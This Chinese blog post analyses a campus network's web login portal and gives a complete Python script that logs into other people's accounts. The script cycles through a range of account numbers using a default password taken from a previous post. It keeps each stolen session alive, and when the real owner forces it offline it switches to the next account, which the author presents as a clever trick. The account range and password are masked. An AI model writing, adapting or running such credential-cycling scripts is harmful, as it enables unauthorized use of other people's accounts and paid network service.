在浏览器的验证窗口中输入登陆名和密码后,成功后会弹出一个小的新窗口,如果不小心关闭了这个窗口,则就会无法联网。如果说我在一个不带有桌面的Linux系统中,我是不能够通过浏览器接入网络的,虽然提供了不同系统的不同版本的客户端(没有用过),但是还是想自己做一个玩玩,同时依据上一篇博客中获取到的帐号进行尝试登陆。
1. 页面分析
首先还是先来看一下登陆验证页面,因为上一片博客中已经对其进行了分析,这里我们看看其它的:
上边的代码是登陆成功后设置 document.form1.uid.value 的值,在COOKIE中保存值,打开新窗口。
# 新窗口打开的网址为: http://192.0.0.6/login.html。其中location.search相当于无用,可以不管
# "user_login":窗体的名称
# width,height:窗口的宽和高
window.open("login.html"+location.search,"user_login","width=428,height=296");
执行完上述代码之后就弹出了如下的登陆保持窗口(关掉之后就会断网):
当这个新窗口开启后就会执行下边的代码:
document.form1.uid.value=window.opener.get_uid();
// 调用父窗口的关闭函数(其实那个函数什么都没有做,啥都没有用)
window.opener.do_close();
document.getElementById("title1").innerHTML=window.opener.get_uname()+"已经登录。
请不要关闭本页面,关闭本页面后将自动下网。";if(document.form1.uid.value != "")
{ //调用get_url()方法
setTimeout("get_url()", 1000);
}else{
alert("登录失败");
window.close();
}
下来我们看一下 get_url 方法是干什么的,实际上就是将父窗口重定为到浙大软件学院的网址。
functionget_url()
{//实际上跑去访问 http://192.0.0.6/cgi-bin/get_url 地址,而这个地址返回的是一个网址
var res=postData("/cgi-bin/get_url"+location.search, "get", "");//判断返回的是不是一个网址,如果是就将父窗口调转到这个网址(实际上这个网址就是 http://www.cst.zju.edu.cn/ 浙大软院的网址)
var p=/^http:\/\/.+/;if(p.test(res))
window.opener.jump_to(res);elsewindow.opener.history.go(-2);return;
}
页面中还有一个方法 keeplive() 方法,看着好像很厉害的样子,然并卵,其实只有在点击 查看按钮的时候才响应,不过我们模拟登陆的时候却需要这个处理逻辑,判断我自己是否已经被别人强退,如果强退了之后,我们就尝试登陆下一个,然后循环往复,总会有不在使用的吧(嘿嘿嘿,真是机智。。)
functionkeeplive()
{var con=postData("/cgi-bin/keeplive", "post", "uid="+document.form1.uid.value);//alert(con);
var p=/^[\d]+,[\d]+,[\d]+$/;if(p.test(con))
{var arr=newArray;
arr=con.split(',');
document.getElementById("time_long").innerHTML=format_time(arr[0]);
document.getElementById("balance_in").innerHTML=format_flux(arr[1]);
document.getElementById("balance_out").innerHTML=format_flux(arr[2]);
err=0;
}else{if(err>=5)
{
alert("与服务器的连接中断");
window.close();return;
}else if(con=="status_error")
{
alert("您的帐户余额不足");
window.close();return;
}else if(con=="available_error")
{
alert("您的帐户被禁用");
window.close();return;
}else if(con=="drop_error")
{
alert("您被强制下线");
window.close();return;
}else if(con=="flux_error")
{
alert("您的流量已超支");
window.close();return;
}else if(con=="minutes_error")
{
alert("您的时长已超支");
window.close();return;
}else{
err++;
}
}
}
其比较重要的方法是 do_logout,我们之所以关闭了这个页面就无法上网的原因就是这个函数的啦。
//访问 /cgi-bin/do_logout,并注销这次登陆,好吧,只要我不主动去调用它就永远不会注销落。
functiondo_logout(flg)
{if(flg!="" && !confirm("是否要登出?"))return;//clearTimeout(tm);
var con=postData("/cgi-bin/do_logout", "post", "uid="+document.form1.uid.value);//alert(con);
if(con=="logout_ok")
{//clearTimeout(tm);
window.close();
}else{
alert("操作失败");
}
}
2. 过程实现
理清楚了页面的代码逻辑,下来就要用python来模拟登陆。过程主要为:获取未改密码的用户帐,然后在这些帐号中选择未登陆帐号登陆,登陆成功后一直监视登陆后的情况,如果被强制下线,我们就尝试另一个帐号。
#!/usr/bin/python#-*- coding:utf-8 -*-
importurllibimporturllib2importreimportosimporttimeclassPseudoLogin:def __init__(self):
self.login_url= "http://192.0.0.6/cgi-bin/do_login"self.status_url= "http://192.0.0.6/cgi-bin/keeplive"self.logout_url= "http://192.0.0.6/cgi-bin/do_logout"self.headers={}
self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"self.headers["Content-Type"] = "application/x-www-form-urlencoded"
# 需要更改起始和结束帐号
self.start = *****self.end= ******self.check_time= 5
#当前登陆的帐号
self.current =self.start#登陆成功后返回的数字字符串
self.uid = ""
#循环测试帐号,知道有一个帐号可以通过初始密码登陆
defcycle_login(self):#初始密码
password="*************"
#匹配全是数字的字符串
pattern = re.compile(r"^[\d]+$")#当已经访问到最后的时候,且最后一个帐号没有登陆成功的时候,又重头来一次
if (self.current >=self.end):print "将重头再来一次.."self.current=self.startfor username in range(self.current,self.end + 1):
self.current=username
ret=self.access(str(username),password)ifre.match(pattern,ret):
self.uid=retprint "已经成功登陆...,可以上网了"
print "当前网号为:"+str(username)print "uid为:" +retreturnTruereturnFalsedefaccess(self,username,password):
data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100"req= urllib2.Request(self.login_url,data=data,headers=self.headers)
res=urllib2.urlopen(req)
content=res.read()print "the login result :" +contentreturncontent#获取登陆上网后的状态
defget_status(self):
data="uid="+self.uid
req= urllib2.Request(self.status_url,data=data,headers=self.headers)
res=urllib2.urlopen(req)
content=res.read()print "the keepalive result :" +contentreturncontent#登出
deflogout(self):
data="uid="+self.uid#data="uid="+identity
req = urllib2.Request(self.logout_url,data=data,headers=self.headers)
res=urllib2.urlopen(req)
content=res.read()print "the logout result :" +contentreturncontent#登陆上网之后一直监测上网状态,如果被强制下线就返回
defsuffer(self):#循环测试,直到能够登陆
while(notself.cycle_login()):pass
#当返回的是三个数字并且已逗号隔开的时候表示依然在线
pattern = re.compile(r"^[\d]+,[\d]+,[\d]+$")#每过5秒访问一下状态
while(True):
time.sleep(self.check_time)
status=self.get_status()ifre.match(pattern,status):print "it is still online"
else:print "sorry you are offline"
#如果被强制下线,则自动加1,不然又会登上这个帐号
self.current = self.current + 1
print "下线后需要等一会儿才能再登陆"time.sleep(30)break
#如果while循环退出表示上网失败了
returnFalse#这个函数将会一直执行
defenjoy(self):while(notself.suffer()):passlogin=PseudoLogin()
login.enjoy()
执行上述脚本(./cstlogin > /dev/null 2>&1 &)后,就会在后台运行,不再掉线啰,nice